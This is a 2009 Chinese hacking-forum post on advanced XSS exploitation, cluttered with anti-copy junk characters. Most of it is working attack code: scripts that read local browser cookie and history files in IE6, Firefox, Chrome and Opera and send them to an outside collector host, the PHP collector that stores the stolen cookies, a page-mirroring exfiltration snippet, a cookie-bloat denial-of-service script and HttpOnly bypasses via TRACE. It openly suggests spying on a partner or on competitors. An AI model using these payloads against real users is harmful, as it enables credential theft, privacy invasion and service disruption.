XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
/ ?7 t3 x% w) p% c本帖最后由 racle 于 2009-5-30 09:19 编辑
7 `2 s$ r" W3 l% Z* H. p( P9 R
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
2 ^$ y/ d( u1 n) j+ l; ]9 `By racle@tian6.com   
7 n3 J! \% _3 x" Phttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权



" n, ]) t; t4 U" ~& B& K-------------------------------------------前言---------------------------------------------------------
- {( G4 n: a0 Q- [0 f" d' a) M

- y3 J2 z) l/ `  a' d# f本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
5 u0 H, L  ?6 P! z' A# a" I8 x
3 l) t0 V2 z* h: M5 P/ S- [6 E+ D2 h
如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
$ [9 i9 X; _. ?7 ^http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
+ p5 z! Z) p) ?3 Khttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
0 ^/ x& w) B4 ~% u+ A

9 J  X( f8 A& t" B7 G% n

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
, N5 T7 i3 C$ B5 B1 X' c
/ E. t1 H+ N2 ~: \: e  N9 Z7 \- g2 d1 Y希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
  p# p9 e; Z: E
( Y/ |% {6 O6 J2 BBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.
! l' m3 X% K+ E
" }; I) I5 e' {OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

( `0 g8 {! J4 d1 t- s3 o..........
0 t/ |* Q1 n7 q5 z: u8 a* s- {3 x5 G复制代码------------------------------------------介绍-------------------------------------------------------------
# W5 x3 L$ T' Y- D, ~+ l
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

$ ]6 l0 u  J) o( O$ l; W0 g

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
2 G2 s3 d( z4 r3 s; Y3 t

2 C( l. k' V" a/ ?
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
8 [4 H8 q2 E+ |1 p/ h2 d) }复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
% X/ c3 h' _* d% B6 C8 v3 ~
% l8 K: A  n1 D3 L5 U& Q1        通过XSS,我们能实现什么?
6 P1 P. M( h& I
4 s' l( N) X; q* n2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
  }+ K8 W! c, }7 |
3 W1 t; F/ V( M/ Q  ^3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
0 i& I" i) g4 `" o8 ^  C5 k
7 \- R) N7 Z$ q: i! b4        XSS漏洞在输出和输入两个方面怎么才能避免.


9 H  o5 M+ y, Q- ]8 n- x  n! W% t/ V
------------------------------------------研究正题----------------------------------------------------------


1 _  A  H% z4 z0 O/ C
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
8 }7 `- E- W; m2 j" h# i复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
" c/ V3 a7 i- S! k/ I复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
& R! L% v. @6 {6 s7 f) F1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
* B( m5 M+ P, H& J6 C( a  j1 u3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
1 J0 |& y2 D% D' M% C4:Http-only可以采用作为COOKIES保护方式之一.


8 L; C+ `; P2 r" N* ]+ ~# W2 j
+ j, \/ y- o5 h; J5 H1 f( [
# Y9 n5 Y6 w4 C2 d1 D6 [1 \, B
- W  w1 d* s& u/ U2 r# f(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
4 Y$ u* B7 |$ I3 N6 D
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)


1 F7 ?% x6 e! {" M7 y# F/ s! C+ M5 A
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
- X+ f8 H7 M9 p4 u3 o

* W7 w* _4 D0 P
* h8 n+ U) X, m- `) `    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

0 W5 i- {! p* b& c) U: n
( H3 A% i7 J- w. Y. t, [& {$ e
( {  A" z  Q9 B6 G; i" n    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

% K1 m0 h1 d/ e5 Z    function $(x){return document.getElementById(x)}
5 x* g9 K1 e; v
# b/ _' K! P9 f2 P- J

    function ajax_obj(){
/ ^4 T# P3 [: E; E2 s
# E' s1 m3 I6 n( T1 D    var request = false;
& Y: ]+ J/ v- \. X8 o, U4 [
; R  `" f- o. o    if(window.XMLHttpRequest) {
; d9 X( V  F. \* k# n7 i  `6 ^
    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
' t4 Q0 I' o% b" u) O9 m7 J
* F  T( ~3 A# X9 |: w3 M5 O    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

3 o; B8 Q: ]$ W& l+ r( S/ m

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

1 ]6 l9 ?5 L' e, U3 p$ d% q3 e* j    for(var i=0; i<versions.length; i++) {
3 s1 r& N9 ?# b" g) _. n* Y6 r& O
4 Q- t' s) o: z& l; e    try {
! o( Z: |  s  }1 c, t
7 f& S5 b' x. I+ w# f    request = new ActiveXObject(versions);

/ N4 e: x3 c$ W! K* C0 ]: \    } catch(e) {}
) Q0 O; T! M- E) z
    }
3 {4 M7 T) M; |! q
    }

# \; j1 @: x9 l" M: `    return request;

, S( y" I' F( a5 D# p3 h) u8 N) A* E    }
  z. l9 D" T; g/ e( d4 }
    var _x = ajax_obj();
, {2 j9 R" Z, f& M5 _
    function _7or3(_m,action,argv){
6 |6 g, G+ O# ^: @
    _x.open(_m,action,false);
+ e9 O, B( Q! [0 ~
# i) J4 _( ^' R% j' T3 C; `. z  t+ I    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

8 B' l0 L5 W2 s6 i9 V; h    _x.send(argv);
. Y" R' m# {( w; @+ _, y% f+ o
    return _x.responseText;
  T; {9 Z" e' n5 J
    }

& U6 X& j' N- J8 G" X

) \; `/ l9 [8 b% m& P    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
. z' h7 L9 `- H2 d; S$ M
    alert(txt);

8 V5 F0 x& B# r: k3 M8 o2 G
  i5 Y( {' E, J) {; u2 k
, ]2 Z# ]2 D9 X+ p# f3 K    </script>
* f% c( r( v- W复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
* d1 F% {, ~) M! s/ c
) I0 x# G% ~% P5 ^, E6 R9 s    function $(x){return document.getElementById(x)}

) U( {. j  K) A3 M' w
, n3 F* A- R7 r4 [  }, H. e
    function ajax_obj(){

  H6 Y5 i2 }. F% d3 @    var request = false;

3 P' }4 t2 ^6 O5 l( l% h+ F/ ?    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
* k- _0 |. l/ y! ~0 c0 d1 k; H
  S) j6 Z" x+ Y5 g. c    } else if(window.ActiveXObject) {

9 z9 `; W: d5 l    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



1 J* |  u  V* ~% }    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 j: X! a7 }) u: J( Y1 ^" x4 E& I  J
8 K5 v; g# K/ _; v    for(var i=0; i<versions.length; i++) {
6 p+ W! j5 \+ @" W; K# @
    try {

& g0 h# ~/ m* U: v    request = new ActiveXObject(versions);
6 W) ^+ S1 f) B3 b- \) Q9 Y0 L; G& \) L
  J8 ?' Q7 x, ~# T. m' A    } catch(e) {}
, ?9 w; e* e0 q1 R1 n4 @2 b; y% K
7 Z' _7 ?; o& _& V    }
8 z6 V; i. ]3 S! T6 I+ _+ s
    }
: T- E! n% `( S3 F/ u! v
    return request;

7 R! f- X  A* K) r' _    }

, S+ G, \* ~' [1 `! `! @    var _x = ajax_obj();
4 y  N; C9 K% n9 }
    function _7or3(_m,action,argv){
  J1 L' e, ^. ]! |# T. \7 C3 z
    _x.open(_m,action,false);
) p0 Q2 L0 _* n( W5 |
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

5 {5 b# y. ^$ E5 f5 ]0 V: M& c6 [+ A    _x.send(argv);

    return _x.responseText;
1 d2 E6 g& e' D* s" Z5 y1 n: Y
$ V  p4 t7 L2 }    }



    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);



    </script>
9 ^0 ]: b) P# Y1 k2 a复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
  p- q& J0 e& d. Z2 t' `$ z$ w7 j3 G


+ E3 U8 Y, a5 r7 oChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
1 P" L) p1 t  p

; f  S# l  O" Z( m
<?   

/*  

3 t9 ~9 q& d* H+ y' ]     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
" Y4 P* B7 \; Q$ i
     www.inbreak.net   
* i  D* I$ m- g6 q9 A. E8 I
     author voidloafer@gmail.com 2009-4-22   

, |9 X# s0 k6 E  w& p  A3 s     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
7 i1 ?  g: h4 v, |
*/  
5 J" U# |# O3 C+ W4 ~6 G* D1 ]+ G
header("Content-Disposition: attachment;filename=kxlzx.htm");   
! h$ w5 S' n1 Y8 l8 Q
header("Content-type: application/kxlzx");   

/*  
$ n" G. o+ N$ {6 I! K4 C- j$ w6 B+ r
     set header, so just download html file,and open it at local.  
; \& A* G! {# N  j( G, z; b
* q' K0 q+ d2 W*/  

?>   
; w8 ?' ~- t$ T
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
$ J4 Q. r4 ^( K% H  A
! G* ~+ H0 ]/ L# X! J     <input id="input" name="cookie" value="" type="hidden">   
  C# g3 T9 c" }
8 C+ F7 e( f3 H0 U. d! N</form>   

/ z+ G2 m) w4 E3 r<script>   

function doMyAjax(user)   
) V" w% o, \6 t1 _2 l
/ {& T1 ?$ N. I1 l% |{   
/ a$ w, z* n. ?/ v0 f
, T8 v, y5 b, s+ kvar time = Math.random();   

/*  

4 Y* h/ ^" O2 ^6 V9 {. hthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
5 C- H. O( h3 j# ^, ~& s4 e
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
5 D3 Y2 t# o5 j5 G& j$ m1 W5 W2 r  e
. y. [; d; A' I: _) pand so on...  

6 K* e$ n/ j. j; G*/  
/ g2 M* j( x9 W# V
' g- u; t* V0 }& Jvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

+ \( b3 \1 x& t' X   
. `* X8 u; o& A' [& u/ ?: O0 g, j
startRequest(strPer);   



}   

) i" W" `1 I" S% M: @6 s   
+ r$ p, u! f: v" D
& e4 J/ E8 V) _. h; U, ofunction Enshellcode(txt)   

{   

0 E1 H& s3 B7 g6 Avar url=new String(txt);   

var i=0,l=0,k=0,curl="";   
* X3 p6 [; `. V/ [7 m
& T3 M. H' F0 Y* P9 e& D) K, O* Hl= url.length;   
* v0 q; Q0 N% g7 K0 L/ A, m
2 c% f  X8 P9 @8 D/ lfor(;i<l;i++){   
: B" Y# }0 t- ]! K% d5 S
) s9 q6 z6 e+ r$ b! d. tk=url.charCodeAt(i);   
9 h5 }: P0 U& e0 @' c
# U% t# S1 t& d* e) i7 h. ~if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
# b9 S# o2 Z4 M% g) e
; O% t' w0 E8 x7 b5 K}   
9 F$ `% ~. b  t
$ m& @% Y) Q% f4 Z   
; B9 e" c% Y. N0 C1 V( x7 v0 s/ I
8 t% B, y" c* W) N3 D( L6 @/ H/ h. Z   
3 q! E( ~6 i# @4 y  D4 N" I5 ^% n
' ^5 J$ E4 _* v: w, c* N/ Evar xmlHttp;   

1 x4 I. l) H1 W9 L' ofunction createXMLHttp(){   

     if(window.XMLHttpRequest){   
. R  C/ \: f9 r) \# i9 U; K
xmlHttp = new XMLHttpRequest();           
3 p) b! L0 y; _3 p3 T2 t* n0 |1 @% n5 R
     }   
4 @9 |# @3 Q+ E2 ?1 u% k
5 b& d& ~; y5 P: n# q     else if(window.ActiveXObject){   

; d" D$ A# h2 o6 y& O( qxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   

: C' N; g! ?. o  T}   
; n# K: w+ [3 _5 F( x7 U- Y
   
8 i% c0 R( O4 `/ Q/ B7 R* ?
function startRequest(doUrl){   
  s( C" B. [! b6 M  J; E' c, _2 l
   

     createXMLHttp();   

" p1 g! g# c2 Z5 e' T* T

! y, A6 [  B2 h& ~0 k1 R, W0 z     xmlHttp.onreadystatechange = handleStateChange;   


' t( K4 j8 @( q& y" E- w
; C) |  ~0 N2 l8 N     xmlHttp.open("GET", doUrl, true);   



& ^7 \& Q7 E7 s1 l! t' [     xmlHttp.send(null);   


8 ~1 S( r  y8 H- l3 q3 R$ C- ]2 ?% u

* Q* X4 M6 Y& S! K, j! C
$ p' V9 j" f% I8 ]- C}   
' E5 W; [6 q& D/ N. ?: g& C* m
   

8 W; ^) k2 U' D  _% ~! @# Hfunction handleStateChange(){   
- w0 S; O+ n2 }( m2 z  j" ]
( |. D" k2 G) p% r. F. o$ y/ |( x     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   
" p& e7 P0 n: q4 ^7 L$ S0 J
" c( q& N9 g+ q     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
4 |: R1 U" ^0 C$ q& n
        
! D3 s* ~% ~9 b5 t+ i
     }   

}   

! x+ d4 f5 w5 |4 B! o: k6 }   
& R# T, Q% x7 x* ]. i4 _/ N
8 k. G8 u9 \" f& u# @, p) v' c( |2 V   

' H- v3 V# G2 }; Q4 }function framekxlzxPost(text)   
. V  F  Z+ v! G. ^. f. t
) o/ v+ T# q9 I$ ?{   
! e* T: m7 f- X$ z0 @* \
# e% }+ @+ y) M/ u     document.getElementById("input").value = Enshellcode(text);   
8 o; C3 J0 p; f. ^: _7 ^
8 |! G( Z! O5 Q+ i+ `4 R- ?     document.getElementById("form").submit();   
' F$ y7 `5 J# }* j+ {9 K& z6 k
}   
% {' z3 }7 z: ?9 `3 o8 j" i: ?
   
9 Z/ x' x  \7 @' s. U2 b. _  {
3 b4 f, l' b! V3 k% x1 v" D4 DdoMyAjax("administrator");   

   
7 a) ?; \# f' o% C9 x2 U2 Z
  t6 a( b; W  ~</script>
* U2 g. q' {1 s+ |5 @复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
0 g& j+ f' a" o" q* m' s
var xmlHttp;  
% j0 u: ^" I5 o/ r- J. h4 W' x
8 w5 F0 L3 R. U0 ffunction createXMLHttp(){  

     if(window.XMLHttpRequest){  

- t8 t" H1 z; Y" Q         xmlHttp = new XMLHttpRequest();         

% a2 v# w* a4 m  z3 H     }  
/ t4 S: {, `5 P
) ?# S. o9 [! R/ G# K9 l1 W; d     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
2 T7 k# K$ C' n* P# O! C
     }  

1 l. f+ S5 J8 b; |}  
$ H: Q6 ?" V5 L
/ X7 P; c- {# B0 f) Y! d2 L   
6 \: O- h# I8 ?! o  A, m
9 s6 J4 `# O6 Y+ c7 kfunction startRequest(doUrl){  

           

     createXMLHttp();  

% m* u9 @$ I) \2 Y; p      
" M8 G. |7 t  E
) U# l. W  ~2 L0 H( K% G     xmlHttp.onreadystatechange = handleStateChange;  
0 m' R* p4 L6 S2 e
      
  V2 k. g$ n2 K4 b, M% G8 H
     xmlHttp.open("GET", doUrl, true);  
. v# A( f8 i- j
      
8 L" H+ Y% g+ q
     xmlHttp.send(null);  
4 B6 R5 [: g8 z" }' x
      

% |) N2 e4 G( ~& w; t/ _9 x3 ~* j      

! B* C- Y" w( I& _% j8 i! \+ x) t6 Q}   
% [- c3 Y. p  @4 R# b- Z) m, g# o
3 G. F. |1 J( Y% E   

3 T! C! p# X( f& I. Bfunction handleStateChange(){  
$ \! y! a, P/ a& R1 O
     if (xmlHttp.readyState == 4 ){  
# i; z8 z: [5 E$ M9 D; w8 I( M8 e
             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
, R3 [* w! D- w8 [) q/ u3 i& B
2 B" ], b9 W4 a0 l8 e" U               
% s/ y( u- w7 D( F2 N. E
     }  
) ?" f$ Y/ X8 I0 F4 g' }. k
}  

* V) s, }$ }9 T   
/ n5 i$ N$ X. u
! d" }8 u, o6 |' }  M0 r# Nfunction doMyAjax(user,file)  
7 V$ H5 @' D  L& U, ]
0 E$ X1 D+ l% Q9 h6 V& [( r! F{  

         var time = Math.random();  

! k: x+ Q' L- k1 C& v8 V           

  ?1 d; o8 A. e! ]         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           
/ h; z3 ^3 v/ x/ K& G- P
         startRequest(strPer);  

. \2 R0 m+ _/ h  x! V      
9 q6 |/ U- E* i
}  
. C3 V* D0 K3 |2 @# a" B# q
0 c2 T) L* M; i- z( w   
8 m% u; U$ {6 C8 |8 j. }
function framekxlzxPost(text)  

{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
" |, M7 F' y+ ~/ L& U/ o# d& M  G. q
     alert(/ok/);  

9 O, m; s4 ]; P! ^& K0 B) p+ y}  
* U6 K( }# o% F2 L
   
- b, m  t- M; a3 Y% G
2 z- o$ G6 k; ]6 ]4 W) udoMyAjax('administrator','administrator@alibaba[1].txt');  
- b- G% A$ a) C/ ^3 n; @3 X% Y6 U- l
+ }6 L0 G+ }( j1 x0 C* V# x   
8 _4 Y' P( A2 e  Y
</script>
7 j0 K: ~% R) B
' |! ~6 k9 R% U( J; {) f* J; G
' G( ]7 l7 F7 S


a.php

+ S3 A6 `" k% \% y& f3 I

! F) v% i+ e, T1 q8 p' m<?php      
5 V) s4 B  y9 s: X5 b, x0 C
   
1 f' O. X& Y2 C3 O5 S5 B
; ?+ k: m6 x, X- ]; `, D/ K9 U$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

( E) \: ?" p5 m! n  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
" n/ c, E( u9 L& X& m6 d& S
4 n* ~# r/ ^4 {! Hfclose($fp);   
5 p* I$ Q' C( E4 G
?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
) [0 e( [( t9 C* ^( c6 x# W* J
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
2 {' N# V! A0 M# U* Z. k: T9 ?利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
2 D! d7 C  @6 N  j( ~
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
* Y% U; T. E* o4 [
function getURL(s) {

var image = new Image();
) u* I8 K5 ^  t7 ?* N0 P7 b
, m3 W) }  s: f% Z- eimage.style.width = 0;
$ F: X* y1 `/ i( q9 V7 r
image.style.height = 0;

9 ]* x3 q2 P0 G$ Qimage.src = s;
$ F( I8 z! j6 N/ V6 T
8 T6 W2 ^8 k( k" ]}

; q! M6 k9 ?. H4 U6 @getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
8 V8 V) l6 F: Y0 C2 e
var str = "";

  C* p: I- R; A# N, vwhile (str.length < 4000){
1 c) {* _3 ^$ E! ?9 j  y4 P
/ k# P* Q2 `" r1 I9 i# l" n! P6 }    str += metastr;
. [2 {$ u/ Q) j4 T- a* l+ s
}



' g1 Q8 ?8 V! H/ e  hdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
& Y3 b3 K$ W+ y) e0 N: I
</script>
+ W9 `% ]2 f5 A+ X7 ?
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
* t% v5 i, f3 O! r% n) c, Cserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

+ y. }) X& l$ R9 z假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
7 p- R( ^2 q  H2 f6 w' n/ e
4 y8 R8 b% O1 m3 w: x
9 I3 y+ ~  N+ W7 N



(III) Http only bypass 与 补救对策:
) s! ?! g0 F, K
' l8 d( V6 ^: ?, p什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
+ [8 t  o4 R+ i以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
% ~+ z$ K5 V6 o
8 l% O* l6 |: ?8 j+ ~5 e  A<!--
2 P( B4 r; D3 g: e9 E3 m" B
function normalCookie() {
# d9 m0 v/ p  f7 n) _/ V0 y! s
4 S5 t9 Y$ p3 M3 B# V, Hdocument.cookie = "TheCookieName=CookieValue_httpOnly";
- e; Z6 c8 A5 O# _& ?5 I
alert(document.cookie);
9 V1 g4 C! f: n- n/ o- D
# i) }4 C2 s$ Y+ j$ |9 F}
6 {/ B" v! r5 o( q! L' ~; H
0 o2 K$ e+ i' P" O



  ]; G3 ?$ K; \4 b& o/ U. Cfunction httpOnlyCookie() {

! A. h6 e" Y4 Ldocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
8 y" `" P9 W, f' \( }* l
alert(document.cookie);}



2 M' T1 Q6 r( c* g- z2 q% E) ?//-->
6 g. r) A" U0 ^# g7 @2 e
</script>
7 w) x2 P7 J% ], u6 p; [
$ ^# I' v2 J: T

" S' h5 v4 R9 r6 m' p% M<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

8 X# n1 z9 _" B- t7 m<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
4 M5 c6 l9 ^- y8 |- @$ Y: W! k复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
# V' K* t- ]3 E4 ^) F
# U* ~- k' b8 k4 F; P# r

# j0 J) ?0 o) M1 W3 X- n8 zvar request = false;
9 v) A* M' Y; l5 L$ n
        if(window.XMLHttpRequest) {
: S0 {5 p9 }: V8 L6 I# O: A) b
  T8 x+ L) y4 A; {- j5 {  R( [            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
; e- a& P! v* I- P
                request.overrideMimeType('text/xml');
  y1 `/ s  x0 u/ m
            }
6 t# i4 X; {0 C' k
( p/ r( J2 j/ n        } else if(window.ActiveXObject) {
9 H; t# m4 S% L4 O0 c! Y$ W% a
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

. S% y* M! a. G1 ^3 n5 |                try {

                    request = new ActiveXObject(versions);
. A4 c9 v4 Y" h5 ]" l; E
) N& t9 b& Q  X2 h- E                } catch(e) {}
. x- d4 q3 v7 c1 Q. U8 F( r
            }
& Q" a" U; y: p, T: _
( {5 C' K! F; M2 |# m3 N        }
; n7 l! G) v; K' H
) Q- x' G0 w4 Y# |; UxmlHttp=request;
+ O3 J/ }# T  r  P) K. b( B$ ~9 m
xmlHttp.open("TRACE","http://www.vul.com",false);

. \7 W, z6 q) m6 m, C+ c7 L  M" ~: i  HxmlHttp.send(null);

( r8 T) I# K! B; y/ i# h$ b. l8 ?xmlDoc=xmlHttp.responseText;
; }  |, \9 j& ]9 b
4 i8 E! S, \0 U- Xalert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
3 y. m- m, j1 }/ z. t
4 n, F2 |& G7 ?9 D8 ^' u( X0 y6 Y  ovar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
+ s: P5 M  _6 B1 f2 l
" _/ F- J+ G7 N* O( w; N5 bXmlHttp.open("GET","http://www.google.com",false);
8 j" m; E" p* H, d4 Z! R/ `1 P
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
, a1 x' w$ {* U; v
+ Q! M% j3 M/ K5 g& _+ lvar resource=xmlHttp.responseText

resource.search(/cookies/);

......................

</script>
- `, s+ f: p3 s! c0 f5 c" x% T+ q- F

' p: R; Y6 q3 R1 \4 X( c4 _
3 H4 ~- t+ O" Z& O2 Q+ \$ {, d  Q

